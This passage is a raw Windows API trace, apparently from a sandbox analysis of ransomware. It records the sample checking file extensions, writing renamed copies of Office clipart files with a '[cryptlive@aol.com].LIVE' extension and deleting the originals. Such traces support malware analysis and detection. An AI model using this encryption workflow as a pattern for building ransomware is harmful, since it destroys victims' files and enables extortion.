[0141.874] lstrlenW (lpString=".zip") returned 4 [0141.874] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.874] lstrlenW (lpString=".rar") returned 4 [0141.874] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.874] lstrlenW (lpString=".bz2") returned 4 [0141.874] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.874] lstrlenW (lpString=".7z") returned 3 [0141.874] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0141.874] lstrlenW (lpString=".dbf") returned 4 [0141.874] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0141.874] lstrlenW (lpString=".1cd") returned 4 [0141.874] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0141.874] lstrlenW (lpString=".jpg") returned 4 [0141.874] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.874] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0141.874] lstrlenW (lpString="DD01434_.WMF") returned 12 [0141.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0141.881] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=900) returned 1 [0141.881] CloseHandle (hObject=0x1ec) returned 1 [0141.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf")) returned 0x20 [0141.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0141.883] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.883] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0141.884] GetLastError () returned 0x0 [0141.884] ReadFile (in: hFile=0x2f8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x384, lpOverlapped=0x0) returned 1 [0141.885] WriteFile (in: hFile=0x1ec, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x390, lpOverlapped=0x0) returned 1 [0141.886] ReadFile (in: hFile=0x2f8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0141.886] WriteFile (in: hFile=0x1ec, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.886] SetEndOfFile (hFile=0x1ec) returned 1 [0141.886] CloseHandle (hObject=0x1ec) returned 1 [0141.886] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.886] SetEndOfFile (hFile=0x2f8) returned 1 [0141.888] CloseHandle (hObject=0x2f8) returned 1 [0141.888] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.888] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf")) returned 1 [0141.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0141.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0141.889] lstrlenW (lpString=".doc") returned 4 [0141.889] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.889] lstrlenW (lpString=".docx") returned 5 [0141.889] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.889] lstrlenW (lpString=".pdf") returned 4 [0141.889] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.889] lstrlenW (lpString=".xls") returned 4 [0141.889] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.889] lstrlenW (lpString=".xlsx") returned 5 [0141.889] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.889] lstrlenW (lpString=".ppt") returned 4 [0141.889] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0141.889] lstrlenW (lpString=".zip") returned 4 [0141.889] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.889] lstrlenW (lpString=".rar") returned 4 [0141.889] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.889] lstrlenW (lpString=".bz2") returned 4 [0141.889] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.890] lstrlenW (lpString=".7z") returned 3 [0141.890] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0141.890] lstrlenW (lpString=".dbf") returned 4 [0141.890] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0141.890] lstrlenW (lpString=".1cd") returned 4 [0141.890] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0141.890] lstrlenW (lpString=".jpg") returned 4 [0141.890] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0141.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0141.890] lstrlenW (lpString=".doc") returned 4 [0141.890] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.890] lstrlenW (lpString=".docx") returned 5 [0141.890] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.890] lstrlenW (lpString=".pdf") returned 4 [0141.890] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.890] lstrlenW (lpString=".xls") returned 4 [0141.890] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.890] lstrlenW (lpString=".xlsx") returned 5 [0141.890] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.890] lstrlenW (lpString=".ppt") returned 4 [0141.890] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0141.890] lstrlenW (lpString=".zip") returned 4 [0141.890] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.890] lstrlenW (lpString=".rar") returned 4 [0141.890] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.890] lstrlenW (lpString=".bz2") returned 4 [0141.890] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.890] lstrlenW (lpString=".7z") returned 3 [0141.890] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0141.890] lstrlenW (lpString=".dbf") returned 4 [0141.891] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0141.891] lstrlenW (lpString=".1cd") returned 4 [0141.891] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0141.891] lstrlenW (lpString=".jpg") returned 4 [0141.891] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.891] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0141.891] lstrlenW (lpString="DD01585_.WMF") returned 12 [0141.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0141.891] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2524) returned 1 [0141.891] CloseHandle (hObject=0x2f8) returned 1 [0141.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf")) returned 0x20 [0141.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0141.892] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.892] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0141.893] GetLastError () returned 0x0 [0141.893] ReadFile (in: hFile=0x2f8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x9dc, lpOverlapped=0x0) returned 1 [0141.894] WriteFile (in: hFile=0x1ec, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x9e0, lpOverlapped=0x0) returned 1 [0141.895] ReadFile (in: hFile=0x2f8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0141.895] WriteFile (in: hFile=0x1ec, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.895] SetEndOfFile (hFile=0x1ec) returned 1 [0141.895] CloseHandle (hObject=0x1ec) returned 1 [0141.895] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.895] SetEndOfFile (hFile=0x2f8) returned 1 [0141.897] CloseHandle (hObject=0x2f8) returned 1 [0141.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.898] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf")) returned 1 [0141.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0141.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0141.901] lstrlenW (lpString=".doc") returned 4 [0141.901] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.901] lstrlenW (lpString=".docx") returned 5 [0141.901] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.901] lstrlenW (lpString=".pdf") returned 4 [0141.901] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.901] lstrlenW (lpString=".xls") returned 4 [0141.901] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.901] lstrlenW (lpString=".xlsx") returned 5 [0141.901] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.901] lstrlenW (lpString=".ppt") returned 4 [0141.901] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0141.901] lstrlenW (lpString=".zip") returned 4 [0141.901] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.901] lstrlenW (lpString=".rar") returned 4 [0141.901] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.901] lstrlenW (lpString=".bz2") returned 4 [0141.901] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.901] lstrlenW (lpString=".7z") returned 3 [0141.902] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0141.902] lstrlenW (lpString=".dbf") returned 4 [0141.902] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0141.902] lstrlenW (lpString=".1cd") returned 4 [0141.902] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0141.902] lstrlenW (lpString=".jpg") returned 4 [0141.902] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0141.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0141.902] lstrlenW (lpString=".doc") returned 4 [0141.902] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.902] lstrlenW (lpString=".docx") returned 5 [0141.902] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.902] lstrlenW (lpString=".pdf") returned 4 [0141.902] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.902] lstrlenW (lpString=".xls") returned 4 [0141.902] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.902] lstrlenW (lpString=".xlsx") returned 5 [0141.902] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.902] lstrlenW (lpString=".ppt") returned 4 [0141.902] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0141.902] lstrlenW (lpString=".zip") returned 4 [0141.902] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.902] lstrlenW (lpString=".rar") returned 4 [0141.902] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.902] lstrlenW (lpString=".bz2") returned 4 [0141.902] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.902] lstrlenW (lpString=".7z") returned 3 [0141.902] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0141.902] lstrlenW (lpString=".dbf") returned 4 [0141.902] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0141.903] lstrlenW (lpString=".1cd") returned 4 [0141.903] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0141.903] lstrlenW (lpString=".jpg") returned 4 [0141.903] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.903] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0141.903] lstrlenW (lpString="DD01586_.WMF") returned 12 [0141.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0141.903] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2324) returned 1 [0141.903] CloseHandle (hObject=0x2f8) returned 1 [0141.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf")) returned 0x20 [0141.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0141.904] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.904] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0141.904] GetLastError () returned 0x0 [0141.904] ReadFile (in: hFile=0x2f8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x914, lpOverlapped=0x0) returned 1 [0142.125] WriteFile (in: hFile=0x1ec, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x920, lpOverlapped=0x0) returned 1 [0142.127] ReadFile (in: hFile=0x2f8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0142.127] WriteFile (in: hFile=0x1ec, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0142.127] SetEndOfFile (hFile=0x1ec) returned 1 [0142.127] CloseHandle (hObject=0x1ec) returned 1 [0142.127] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0142.127] SetEndOfFile (hFile=0x2f8) returned 1 [0142.129] CloseHandle (hObject=0x2f8) returned 1 [0142.129] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.130] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf")) returned 1 [0142.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0142.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0142.130] lstrlenW (lpString=".doc") returned 4 [0142.130] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.130] lstrlenW (lpString=".docx") returned 5 [0142.130] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.130] lstrlenW (lpString=".pdf") returned 4 [0142.130] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.130] lstrlenW (lpString=".xls") returned 4 [0142.130] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.130] lstrlenW (lpString=".xlsx") returned 5 [0142.131] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.131] lstrlenW (lpString=".ppt") returned 4 [0142.131] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0142.131] lstrlenW (lpString=".zip") returned 4 [0142.131] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.131] lstrlenW (lpString=".rar") returned 4 [0142.131] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.131] lstrlenW (lpString=".bz2") returned 4 [0142.131] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.131] lstrlenW (lpString=".7z") returned 3 [0142.131] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0142.131] lstrlenW (lpString=".dbf") returned 4 [0142.131] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0142.131] lstrlenW (lpString=".1cd") returned 4 [0142.131] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0142.131] lstrlenW (lpString=".jpg") returned 4 [0142.131] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0142.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0142.131] lstrlenW (lpString=".doc") returned 4 [0142.131] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.131] lstrlenW (lpString=".docx") returned 5 [0142.131] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.131] lstrlenW (lpString=".pdf") returned 4 [0142.131] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.131] lstrlenW (lpString=".xls") returned 4 [0142.131] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.131] lstrlenW (lpString=".xlsx") returned 5 [0142.131] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.131] lstrlenW (lpString=".ppt") returned 4 [0142.131] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0142.132] lstrlenW (lpString=".zip") returned 4 [0142.132] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.132] lstrlenW (lpString=".rar") returned 4 [0142.132] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.132] lstrlenW (lpString=".bz2") returned 4 [0142.132] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.132] lstrlenW (lpString=".7z") returned 3 [0142.132] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0142.132] lstrlenW (lpString=".dbf") returned 4 [0142.132] lstrcmpiW 